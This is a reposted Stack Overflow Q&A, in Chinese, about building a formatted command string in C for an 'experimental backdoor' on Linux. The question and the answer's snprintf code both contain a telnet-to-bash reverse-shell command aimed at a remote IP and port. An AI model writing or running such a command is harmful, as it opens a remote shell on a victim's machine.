gpt4 book ai didi

python - 如何将变量实现为字符串?

转载 作者:太空宇宙 更新时间:2023-11-04 02:06:02 25 4
gpt4 key购买 nike

我在这里有点初学者。我正在为使用 telnet 处理套接字的 Linux 制作实验性后门。我如何在字符串中使用变量,我习惯了 python,所以我经常会做这样的事情:

     var0 = "asdf"
var1 = "I like "+var0+" movies"

但在 C 中我很困惑,因为如果我使用这个:

     system("telnet %i %p | bash | telnet %i %p", IP, PORT);

我在执行时得到这个:

     telnet: could not resolve %i/%p: Servname not supported for ai_socktype

%i/%p???谁能给我解释一下。

最佳答案

您需要使用 snprintf :

char cmd[512];
snprintf(cmd, sizeof cmd, "telnet %i %p | bash | telnet %i %p", IP, PORT, IP, PORT);
system(cmd);

尽管 %i 期望一个 int 并且 %p 将打印给定的参数作为实现定义的指针表示(因此将期待一个指针,但不会打印它指向的内容)。根据 IPPORT 的类型,您需要正确的格式说明符。

请注意,%i%p 以及其他 % 修饰符并非在每个 C 字符串中都有效,它们仅由 *f 函数处理(“f”后缀代表 format(ted))。如您所见,system 不处理它们并按字面解释它们。

关于python - 如何将变量实现为字符串?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20460390/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com